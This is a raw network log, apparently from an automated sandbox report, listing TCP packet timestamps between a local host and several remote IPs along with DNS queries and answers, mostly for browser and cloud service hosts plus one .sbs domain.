Nov 23, 2024 20:23:48.525100946 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.525177956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.526133060 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.526165009 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.526261091 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.527200937 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.527236938 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.527256966 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.527637959 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.528199911 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.528311968 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.529251099 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.529290915 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.529340029 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.530267954 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.530303001 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.530374050 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.531322002 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.531353951 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.531433105 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.531619072 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.532351017 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.532548904 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.533416986 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.533452034 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.533546925 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.534440994 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.534532070 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.534662962 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.535546064 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.535613060 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.535804987 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.535882950 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.536499023 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.536618948 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.537524939 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.537570953 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.537686110 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.538588047 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.538688898 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.539608955 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.539643049 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.539731979 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.540647984 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.540699959 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.540766001 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.541690111 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.541796923 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.542381048 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.542741060 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.542836905 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.543781996 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.543879986 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.543895960 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.544408083 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.544806957 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.544923067 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.545284986 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.545865059 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.545963049 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.546046019 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.546886921 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.546947956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.547578096 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.547966957 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.548046112 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.548958063 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.548990011 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.549067974 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.549392939 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.549923897 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.551343918 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:48.551358938 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:48.551381111 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:48.551386118 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:48.603648901 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.677218914 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:48.677326918 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:48.677649021 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:48.679574966 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:48.679611921 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:48.697442055 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.697530031 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.697901011 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.698014021 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.698107004 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.698148966 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.698184967 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.698713064 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.698826075 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.699742079 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.699764013 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.699883938 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.700762987 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.700912952 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.700967073 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.701052904 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.701818943 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.701920986 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.702116966 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.702862024 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.702935934 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.702970028 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.703926086 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.704195976 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.704405069 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.704958916 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.705068111 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.705096006 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.705969095 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.706087112 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.706115007 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.707122087 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.707293034 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.707295895 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.708077908 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.708172083 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.708358049 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.709089994 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.709151983 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.709183931 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.710119009 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.710232019 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.710289001 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.711188078 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.711292982 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.711309910 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.712202072 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.712320089 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.712347984 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.713243961 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.713356972 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.713380098 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.714306116 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.714381933 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.714413881 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.715336084 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.715378046 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.715411901 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.716362000 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.716489077 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.716793060 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.717395067 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.717478037 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.717500925 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.718487978 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.718565941 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.718652010 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.719511986 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.719552994 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.719594002 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.720510960 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.720617056 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.720617056 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.721571922 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.721678972 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.721693039 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.722600937 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.722685099 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.722704887 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.723654032 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.723705053 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.723754883 CET	80	49870	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 20:23:15.350750923 CET	192.168.2.4	1.1.1.1	0x1a28	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:36.622996092 CET	192.168.2.4	1.1.1.1	0x9d2f	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:36.768651962 CET	192.168.2.4	1.1.1.1	0xe367	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 20:23:43.280385017 CET	192.168.2.4	1.1.1.1	0xfc86	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:43.428563118 CET	192.168.2.4	1.1.1.1	0xf16d	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:43.493849039 CET	192.168.2.4	1.1.1.1	0xdfa7	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:43.579114914 CET	192.168.2.4	1.1.1.1	0x5b16	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 20:23:43.639604092 CET	192.168.2.4	1.1.1.1	0xfd0c	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:43.791265011 CET	192.168.2.4	1.1.1.1	0x3ad6	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 23, 2024 20:23:43.952380896 CET	192.168.2.4	1.1.1.1	0xa2b4	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:43.992980003 CET	192.168.2.4	1.1.1.1	0x5118	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:44.095499992 CET	192.168.2.4	1.1.1.1	0x6572	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:44.235233068 CET	192.168.2.4	1.1.1.1	0xbbf4	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 20:23:44.541047096 CET	192.168.2.4	1.1.1.1	0x87e4	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:44.690185070 CET	192.168.2.4	1.1.1.1	0x4ffc	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:44.699218988 CET	192.168.2.4	1.1.1.1	0x99dc	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:44.828741074 CET	192.168.2.4	1.1.1.1	0x2788	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 20:23:44.842459917 CET	192.168.2.4	1.1.1.1	0x1950	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 20:23:58.184222937 CET	192.168.2.4	1.1.1.1	0x559b	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 20:24:02.349494934 CET	192.168.2.4	1.1.1.1	0xd1d4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:02.349611044 CET	192.168.2.4	1.1.1.1	0x777a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 20:24:04.936335087 CET	192.168.2.4	1.1.1.1	0x6d03	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:04.936572075 CET	192.168.2.4	1.1.1.1	0xdc3	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 23, 2024 20:24:15.020867109 CET	192.168.2.4	1.1.1.1	0x1d0b	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:15.020868063 CET	192.168.2.4	1.1.1.1	0x21ad	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 23, 2024 20:24:16.421981096 CET	192.168.2.4	1.1.1.1	0xe004	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:20.677030087 CET	192.168.2.4	1.1.1.1	0x9e15	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:20.677135944 CET	192.168.2.4	1.1.1.1	0x4534	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 23, 2024 20:24:21.931214094 CET	192.168.2.4	1.1.1.1	0x66a8	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 20:24:22.378000021 CET	192.168.2.4	1.1.1.1	0xfee2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.435579062 CET	192.168.2.4	1.1.1.1	0xb684	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 20:24:22.463862896 CET	192.168.2.4	1.1.1.1	0x8fff	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 20:24:22.489516973 CET	192.168.2.4	1.1.1.1	0x7cb3	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.620609999 CET	192.168.2.4	1.1.1.1	0x5a09	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.624943972 CET	192.168.2.4	1.1.1.1	0x44b5	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.634197950 CET	192.168.2.4	1.1.1.1	0x4715	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.773365021 CET	192.168.2.4	1.1.1.1	0xbf76	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.789005995 CET	192.168.2.4	1.1.1.1	0x9baa	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 20:24:22.796849012 CET	192.168.2.4	1.1.1.1	0x1461	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:22.947227001 CET	192.168.2.4	1.1.1.1	0xf3a4	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 20:24:22.948405981 CET	192.168.2.4	1.1.1.1	0x3b39	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 20:24:23.116641998 CET	192.168.2.4	1.1.1.1	0x3fb2	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:23.254971027 CET	192.168.2.4	1.1.1.1	0x3ac5	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 20:24:23.900737047 CET	192.168.2.4	1.1.1.1	0x34fa	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:23.925565004 CET	192.168.2.4	1.1.1.1	0x2a64	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:23.926054001 CET	192.168.2.4	1.1.1.1	0x3026	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:23.928191900 CET	192.168.2.4	1.1.1.1	0x2f8	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:24.047447920 CET	192.168.2.4	1.1.1.1	0xd45f	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 20:23:15.632451057 CET	1.1.1.1	192.168.2.4	0x1a28	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:15.632451057 CET	1.1.1.1	192.168.2.4	0x1a28	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:36.609891891 CET	1.1.1.1	192.168.2.4	0xa368	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:36.767923117 CET	1.1.1.1	192.168.2.4	0x9d2f	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:43.426791906 CET	1.1.1.1	192.168.2.4	0xfc86	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:23:43.426791906 CET	1.1.1.1	192.168.2.4	0xfc86	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:43.577554941 CET	1.1.1.1	192.168.2.4	0xf16d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:43.637900114 CET	1.1.1.1	192.168.2.4	0xdfa7	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:43.724760056 CET	1.1.1.1	192.168.2.4	0x5b16	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 20:23:43.789201021 CET	1.1.1.1	192.168.2.4	0xfd0c	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:44.057965994 CET	1.1.1.1	192.168.2.4	0x3ad6	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 23, 2024 20:23:44.093985081 CET	1.1.1.1	192.168.2.4	0xa2b4	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:44.175046921 CET	1.1.1.1	192.168.2.4	0x5118	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:23:44.175046921 CET	1.1.1.1	192.168.2.4	0x5118	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:44.234543085 CET	1.1.1.1	192.168.2.4	0x6572	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:44.685137033 CET	1.1.1.1	192.168.2.4	0x87e4	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:23:44.685137033 CET	1.1.1.1	192.168.2.4	0x87e4	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:44.690174103 CET	1.1.1.1	192.168.2.4	0xa068	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:23:44.690174103 CET	1.1.1.1	192.168.2.4	0xa068	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:44.828026056 CET	1.1.1.1	192.168.2.4	0x4ffc	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:23:44.839195013 CET	1.1.1.1	192.168.2.4	0x99dc	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:02.491641998 CET	1.1.1.1	192.168.2.4	0x777a	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 20:24:02.493444920 CET	1.1.1.1	192.168.2.4	0xd1d4	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:05.075265884 CET	1.1.1.1	192.168.2.4	0x6d03	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:05.075265884 CET	1.1.1.1	192.168.2.4	0x6d03	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:05.075265884 CET	1.1.1.1	192.168.2.4	0x6d03	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:05.075265884 CET	1.1.1.1	192.168.2.4	0x6d03	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:05.294574022 CET	1.1.1.1	192.168.2.4	0xb4ed	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:05.375942945 CET	1.1.1.1	192.168.2.4	0x9036	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:05.375942945 CET	1.1.1.1	192.168.2.4	0x9036	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:05.375942945 CET	1.1.1.1	192.168.2.4	0x9036	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 20:24:05.446841955 CET	1.1.1.1	192.168.2.4	0xdc3	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:05.446841955 CET	1.1.1.1	192.168.2.4	0xdc3	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:15.161499977 CET	1.1.1.1	192.168.2.4	0x1c09	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:15.161499977 CET	1.1.1.1	192.168.2.4	0x1c09	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 20:24:15.161499977 CET	1.1.1.1	192.168.2.4	0x1c09	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
